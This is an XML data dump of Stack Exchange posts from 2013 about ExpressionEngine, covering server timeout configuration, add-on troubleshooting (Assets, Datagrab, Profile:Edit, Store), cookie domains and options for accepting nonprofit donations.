  <row Id="7522" PostTypeId="2" ParentId="7467" CreationDate="2013-03-20T02:26:13.763" Score="7" Body="&lt;p&gt;Thanks for the pointers, all. In this case, I ended up having to increase several timeout limits:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, to address the original fastCGI error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/etc/httpd/conf.d/fcgid.conf&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FcgidIOTimeout 90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fixed the PHP/fastCGI error, but revealed a 500 Error coming from Nginx timing out. The fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/etc/nginx/nginx.conf&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;keepalive_timeout  125;&#xA;proxy_read_timeout 125;&#xA;proxy_connect_timeout 125;&#xA;fastcgi_read_timeout 125;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fixed the issue some of the time, but intermittently I would get the MySQL &lt;strong&gt;&quot;MySQL server has gone away&quot;&lt;/strong&gt; error, which required one more tweak:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/etc/my.conf&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wait_timeout = 120&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, just for funsies, I went ahead and upped my PHP memory limit, just in case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/etc/php.ini&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memory_limit = 256M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-03-20T02:26:13.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7523" PostTypeId="2" ParentId="7501" CreationDate="2013-03-20T05:04:51.337" Score="1" Body="&lt;p&gt;There isn't a great way to do this from the front end with Manual member activation, I think, because changing the member group doesn't actually trigger the hook needed (cp_members_validate_members) to send the email the cp normally sends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if P:E will allow you to register the new members and change their group, thus creating their entries within your established profiles channel, you may be able to use MX Notify to send a custom email based on the creation of said new entry(ies). I'm not sure it'll be able to get to the email addresses though, but there might be a way to work it out.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-03-20T05:04:51.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7524" PostTypeId="2" ParentId="6618" CreationDate="2013-03-20T05:14:02.273" Score="0" Body="&lt;p&gt;Also maybe check out Stamen, which seems super cool. :)&#xA;&lt;a href=&quot;http://maps.stamen.com&quot; rel=&quot;nofollow&quot;&gt;http://maps.stamen.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-03-20T05:14:02.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7525" PostTypeId="1" CreationDate="2013-03-20T05:56:46.833" Score="1" ViewCount="362" Body="&lt;p&gt;I have a multisite installation of EE 2.5.5 and Assets 2.0.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I am running into is that if I log into Site 1 at url.com/admin.php and navigate to the Assets module I can see all my Site 1 images. If I switch to Site 2 using the top right navigation none of the images for Site 2 load. I have verified all the config/file upload settings and everything is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also cannot index anything from within Site 2, only within Site 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can log into Site 2 and site2url.com/admin.php and the images will show up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to defeate the MSM system a bit because our client has to log into both site admin sections in order to view files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my understanding this ins't correct and I should be able to see the files on both sites by logging into Site 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this a bug or am I missing a config somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kevin&lt;/p&gt;&#xA;" OwnerUserId="1201" LastActivityDate="2013-03-20T17:55:38.593" Title="Assets 2 MSM Cannot Upload or view images" Tags="|multi-site-manager|pixelandtonic|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7526" PostTypeId="1" CreationDate="2013-03-20T05:57:36.480" Score="2" ViewCount="381" Body="&lt;p&gt;I am setting up an EE website for a non-profit start-up, but the budget is extremely limited.  Donations would include one-time payment, recurring payments, and purchasing bracelets, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the process of donations to be as painless as possible and ideally all on my site (without having to be redirected back and forth), but I am not a fan of PayPal.  I have heard/seen that Stripe seems to be a good service with fair rates, but without spending hundreds of dollars, I don't see many options for using something other than PayPal.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a developer myself and would be willing to get into the weeds to customize the simple commerce module, but wouldn't even know where to start since this is my first EE site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me to achieve using a different payment gateway for the simple commerce and a custom donation form without spending much, ideally any, money?&lt;/p&gt;&#xA;" OwnerUserId="1200" LastActivityDate="2013-03-20T19:30:02.780" Title="Accepting Donations Economically" Tags="|ecommerce|payment-gateway|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7527" PostTypeId="1" AcceptedAnswerId="7569" CreationDate="2013-03-20T08:45:48.430" Score="2" ViewCount="142" Body="&lt;p&gt;When I attempt to Index an Amazon S3 folder, I was getting no response. I get the bar, but no progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine when I'm indexing a local folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried doing it with the Console on while in Firefox and got the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SyntaxError: missing ) in parenthetical @ &#xA;{my site name}/themes/third_party/assets/scripts/assets.min.js?2.0.5:11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Safari gives a similar error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SyntaxError: Expected token ')'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Assets 2.0.5 on EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need other details to diagnose, let me know...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited to add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ran it in the Firebug console - Syntax Error appears to be related to a memory problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Allowed memory size of 67108864 bytes exhausted (trie&#xA;&#xA;assets.js?2.0.5 (line 5618, col 6)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-03-20T18:43:39.080" LastActivityDate="2013-10-05T20:27:35.027" Title="Console Error with Assets when Attempting to Index Amazon S3 folder" Tags="|assets|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7528" PostTypeId="1" CreationDate="2013-03-20T09:04:57.863" Score="3" ViewCount="155" Body="&lt;p&gt;I'm importing a feed (of evens) with Datagrab, and using it to list them on my site. I have the event-date connected to the entry-date, &quot;and all was well with the world&quot;. Right, so now DST-switch is coming up, and all events that are before the switch are appearing fine, but all events after (for example one on April 6th 00:00) is now appearing as April 6th 23:00. Now this particular example isn't really a problem, but you can imagine this becoming a problem with times near 01:00AM (which would switch to the day before). Is there any way to stop this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steven&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-03-27T15:48:22.797" Title="DST vs Datagrab" Tags="|ee2|datagrab|dst|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7529" PostTypeId="2" ParentId="6787" CreationDate="2013-03-20T09:41:43.230" Score="1" Body="&lt;p&gt;Just to follow up I ended up going with this solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I want to store files (PDFs, DOCX, etc.) using Amazon S3 or similar&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I built an addon that creates Signed URLs for private Amazon S3 files&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;The link needs to be scrambled ie. www.mydomain.com/fdsfjksdksdasd&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I used Intoeetive's Protected Links add-on&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;The URLs can NOT be shareable i.e. members must be logged in (so deny hotlinks)&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Covered by Protected Links&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;There are multiple files per entry&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I used Pixel&amp;amp;Tonic's Matrix module&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Works well. Links below.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/amazon-s3-signed-urls&quot; rel=&quot;nofollow&quot;&gt;EE S3 Signed URLs addon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.intoeetive.com/index.php/comments/protected-links-for-expressionengine-secure-encrypt-download-links&quot; rel=&quot;nofollow&quot;&gt;Protected Links addon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Matrix module&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1072" LastActivityDate="2013-03-20T09:41:43.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7530" PostTypeId="1" CreationDate="2013-03-20T10:24:32.480" Score="3" ViewCount="145" Body="&lt;p&gt;Even though I add my domain name without the leading dot in the EE cookies admin panel, the cookies are still served with the leading dot attached. Because of this, they are sent to my subdomains. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1202" LastActivityDate="2013-03-20T15:05:14.017" Title="EE cookies add leading dot to domain name" Tags="|ee2|cookies|static|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7531" PostTypeId="1" CreationDate="2013-03-20T10:31:07.190" Score="1" ViewCount="72" Body="&lt;p&gt;Ok, I have the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the edit_date is stored in the exp_channel_titles table in the edit_date field by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the value 20130320100306 (20/03/2013 10:03:06)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested the following tags within a ZooVisitor update form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{edit_date}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;output:&lt;/strong&gt; 08-01-1970&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{edit_date format=&quot;%d-%m-%Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;output:&lt;/strong&gt; 639874-06-14 00:25&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date date=&quot;{edit_date}&quot; format=&quot;%d-%m-%Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;output:&lt;/strong&gt; 14-06-1974&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE v2.5.3 - Build Date: 20120911&lt;/p&gt;&#xA;&#xA;&lt;p&gt;kind regards,&#xA;Vic&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-27T17:59:56.880" Title="issue with {edit_date}" Tags="|zoo-visitor|edit-date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7532" PostTypeId="2" ParentId="5549" CreationDate="2013-03-20T11:06:29.027" Score="0" Body="&lt;p&gt;what does the template debugger tell you? Most likely, I would remove the config variables from the config.php and into the index.php for each site respectively and using assign_to_config global vars instead.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-20T11:06:29.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7533" PostTypeId="2" ParentId="7526" CreationDate="2013-03-20T11:07:39.417" Score="2" Body="&lt;p&gt;I'd say this should be a case of thinking about what's good for your client, rather than what services you don't like. But also, you may need to know more about the client's online donations. Do they get lots of online donations with a mix of big and small options? Do they get little online donations but of larger values? Do they just get a small amount of donations at small amounts? Are they actually processing no online donations but want to improve their transaction rates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of services, and you don't need to process things through Simple Commerce. You could start with the easy services like &lt;a href=&quot;http://www1.networkforgood.org&quot; rel=&quot;nofollow&quot;&gt;Network for Good&lt;/a&gt;, &lt;a href=&quot;https://www.justgive.org&quot; rel=&quot;nofollow&quot;&gt;JustGive&lt;/a&gt;, &lt;a href=&quot;http://www.razoo.com&quot; rel=&quot;nofollow&quot;&gt;Razoo&lt;/a&gt;. These are services built for accepting nonprofit donations. You'd just need to create a landing page in ExpressionEngine that takes the user to the selected service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://payments.amazon.com/sdui/sdui/business/asp/donations#pricing&quot; rel=&quot;nofollow&quot;&gt;Amazon Simple Pay Donations&lt;/a&gt; and &lt;a href=&quot;http://checkout.google.com/seller/npo/&quot; rel=&quot;nofollow&quot;&gt;Google Checkout&lt;/a&gt; will also process donations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple Commerce only needs to be part of the process, if you are trying to store transactional history with ExpressionEngine. There are other methods for doing that as well, for example if create an email account for transaction confirmation emails. You can set-up EE to bring those emails into EE for creating a log as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, if the nonprofit just wants to accept donations online, doesn't a get a lot of donations (historically), and doesn't get frequent large donation amounts (say over $5,000), then going with a donation service like Network for Good, JustGive, Razoo, etc. isn't a bad option. Obviously, you'd want to tell the user about the 3rd-party site, but many donors are familiar with the three listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayPal, Amazon, and Google Checkout work well for mixed transactions. Donations, bracelet sales, etc. The transaction rates for nonprofits (after qualified) are low. PayPal is simple and easy to use, and typically not problematic for thousands and thousands of nonprofits. If the nonprofit occasionally processes very large donations online (single transaction of $5k, $10k or more), then that needs to be consider, but it provides the least friction for the potential donor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Amazon services is also good, just like PayPal tons of folks on the internet have Amazon accounts, and using their service to process donations can work. I'm not certain if they allow reoccurring donations (you'd need to check). Personally not a fan of Google Checkout/Wallet mix, but it's viable, not as frequently used, so could halt some donations in their track. You're always looking for that mix of viable, low transaction fees, donor doesn't hesitate to use with nonprofits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple Commerce is the easiest option for tracking both the sales and the donations (I believe you can do like Store for donation, set an item for $1, then use the quantity field to set donation amount 50 items = $50 donation). If the nonprofit really wants more payment gateway options, then I'd look at &lt;a href=&quot;https://exp-resso.com/store&quot; rel=&quot;nofollow&quot;&gt;Store&lt;/a&gt; by Exp:resso. They'd have to pay for it, but it pays for itself pretty quickly, if they're handling regular transactions or if you design donation pages that increase their transactions.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-20T11:07:39.417" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7534" PostTypeId="1" AcceptedAnswerId="7738" CreationDate="2013-03-20T11:30:00.690" Score="0" ViewCount="67" Body="&lt;p&gt;I have a Low Variable with a Matrix field type. Inside one of the columns I have an Assets field type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to work on and off. I could load my template, image is displayed. I could refresh the template, I get a 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried numerous template tags but I'm not confident its fixed. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_sidebar_adblock_image&quot;}&#xA;&amp;lt;li class=&quot;widget&quot;&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;&amp;lt;img src=&quot;{image:url}&quot;/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_sidebar_adblock_image&quot;}&#xA;&amp;lt;li class=&quot;widget&quot;&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot;/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'image' and 'link' are my Matrix column names. 'image' is the Assets field type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iIfPH.png&quot; alt=&quot;Screenshot of my LV&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="679" LastActivityDate="2013-03-26T17:45:12.287" Title="LV, Matrix fieldtype with an Assets fieldtype in column" Tags="|assets|matrix|low-variables|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7535" PostTypeId="2" ParentId="7527" CreationDate="2013-03-20T12:02:47.630" Score="1" Body="&lt;p&gt;that's really odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either try re-uploading that file (because it kind of seems that it wasn't uploaded correctly), or you can try adding this line to your ExpressionEngine config:&#xA;$config['assets_use_uncompressed_js'] = TRUE;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Andris&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-03-20T12:02:47.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7536" PostTypeId="2" ParentId="7531" CreationDate="2013-03-20T12:34:59.297" Score="1" Body="&lt;p&gt;This is because date formatting is not supported inside a Safecracker form. See also &lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/7449#25153&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/7449#25153&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Nico&lt;/p&gt;&#xA;" OwnerUserId="749" LastActivityDate="2013-03-20T12:34:59.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7537" PostTypeId="2" ParentId="7252" CreationDate="2013-03-20T12:47:03.557" Score="3" Body="&lt;p&gt;You need to set &lt;code&gt;register_member=&quot;yes&quot;&lt;/code&gt; in your checkout tag. All this does is add a hidden field to the template like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;register_member&quot; value=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of the template, you could make this a checkbox for your customers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:register_member}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would output HTML like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;register_member&quot; value=&quot;0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;register_member&quot; value=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more details on what fields to submit, see the documentation &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#registering_members&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;order_email&lt;/code&gt; field is required for every order, regardless of whether an account is being created. However, you may want to make it required on the specific page you are asking for it, using the &lt;code&gt;require=&quot;order_email&quot;&lt;/code&gt; checkout tag parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The customer will also automatically see an error if the email address is already used, if they have opted to create an account. Normally you would give them the option to log into an existing account instead of filling out the order fields, so this wouldn't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the email is valid, an account will be created after the order is completed. If you have member email confirmation disabled, they will be automatically logged in. If you want more of a manual registration process (or more feedback for your customers), you should probably just add a regular login/register step to your checkout using &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt; or another member management plugin.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-20T12:47:03.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7538" PostTypeId="1" AcceptedAnswerId="9733" CreationDate="2013-03-20T13:57:11.517" Score="1" ViewCount="120" Body="&lt;p&gt;I'm using Profile:Edit to create new member accounts on the front-end. I've got my member preferences set to 'Manual activation by an administrator.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating a new member account (by a Super Admin, or a 'client admin' member account that has permissions to create new members), I'm finding that new member accounts are still going into the Pending queue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make accounts created by an admin go into the proper member group that I've specified? This is adding an extra step to the process of creating new members. I'd rather not change the activation preference to 'No activation required' as we do still want to approve new member accounts that are created on the front end of the site by guests; but I would have thought/hoped that EE or Profile:Edit would smart enough (unless I'm doing something wrong) to realise that if an admin is creating the new member account, it doesn't need to go into the Pending group. Any advice or workarounds would be appreciated, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the simplified code from my new member registration form for Profile:Edit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:register include_jquery=&quot;no&quot; datepicker=&quot;no&quot; return=&quot;/extranet&quot; dynamic_screen_name=&quot;[cf_profile_first_name] [cf_profile_last_name]&quot; group_id=&quot;10&quot;}&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;First name &amp;lt;em&amp;gt;*&amp;lt;/em&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input class=&quot;required&quot; name=&quot;cf_profile_first_name&quot; placeholder=&quot;First Name&quot; type=&quot;text&quot; value=&quot;{cf_profile_first_name}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Last name &amp;lt;em&amp;gt;*&amp;lt;/em&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input class=&quot;required&quot; name=&quot;cf_profile_last_name&quot; placeholder=&quot;Last Name&quot; type=&quot;text&quot; value=&quot;{cf_profile_last_name}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Email &amp;lt;em&amp;gt;*&amp;lt;/em&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input class=&quot;required&quot; name=&quot;email&quot; placeholder=&quot;Email&quot; type=&quot;text&quot; value=&quot;{email}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Password &amp;lt;em&amp;gt;*&amp;lt;/em&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input class=&quot;required&quot; name=&quot;password&quot; placeholder=&quot;Password&quot; type=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Create new login &amp;amp;raquo;&quot; /&amp;gt;&#xA;&#xA;{/exp:profile:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-04-26T06:06:01.453" Title="How to stop new members created by admins using Profile:Edit from going into the Pending group" Tags="|members|profile-edit|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7539" PostTypeId="1" AcceptedAnswerId="7549" CreationDate="2013-03-20T13:58:12.140" Score="3" ViewCount="89" Body="&lt;p&gt;I've run into this before - and have never found a 'great' solution. The crux of my problem is that I need to document some EE tags, using content in a channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'd like to output something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&#xA;&#xA;{exp:someth:ing}&#xA;&#xA;&amp;lt;code&amp;gt;&amp;lt;pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is, that of course, EE htmlentifies the curly brackets, so what I end up with is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&#xA;&#xA;&amp;amp;#123;exp:someth:ing&amp;amp;#125;&#xA;&#xA;&amp;lt;code&amp;gt;&amp;lt;pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried using CE Str (awesome plugin by the way) to decode these html entities, which it does - flawlessly. However, at that point, due to what I'm assuming is a parse order issue - EE then tries to process those tags rather than just outputting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, the only solution I have found required including PHP in my templates which is not really an option anymore. I've tried knocking out a quick plugin - but have had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be wildly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping there is some magic addon like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;{exp:donot:parsetags}&#xA;   ...&#xA;{/exp:donot:parsetags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But so far, I cannot find it - and maybe I am just searching for the wrong keywords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MW&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2013-03-20T18:06:51.973" Title="Can you document EE tags with EE?" Tags="|tags|parse-order|parse|" AnswerCount="3" CommentCount="0" ClosedDate="2013-03-23T02:40:51.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="7540" PostTypeId="2" ParentId="7539" CreationDate="2013-03-20T14:14:33.847" Score="4" Body="&lt;p&gt;You can wrap your code in &lt;code&gt;[code]{ee_tag_here}[/code]&lt;/code&gt; and that should output &lt;code&gt;&amp;lt;code&amp;gt;{ee_tag_here}&amp;lt;/code&amp;gt;&lt;/code&gt; into your template. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-20T14:14:33.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7541" PostTypeId="2" ParentId="7539" CreationDate="2013-03-20T14:14:35.940" Score="1" Body="&lt;p&gt;I think you can try Template Code from Rob Sanchez for this. Not sure if it still works with latest EE versions, but you might be able to update it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rsanchez/template_code&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/template_code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-03-20T14:14:35.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7543" PostTypeId="2" ParentId="7530" CreationDate="2013-03-20T15:05:14.017" Score="2" Body="&lt;p&gt;IMO, this can only be two things.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't have the cookie settings entered correctly in the control panel&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are overriding the CP settings in your config.php file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-20T15:05:14.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
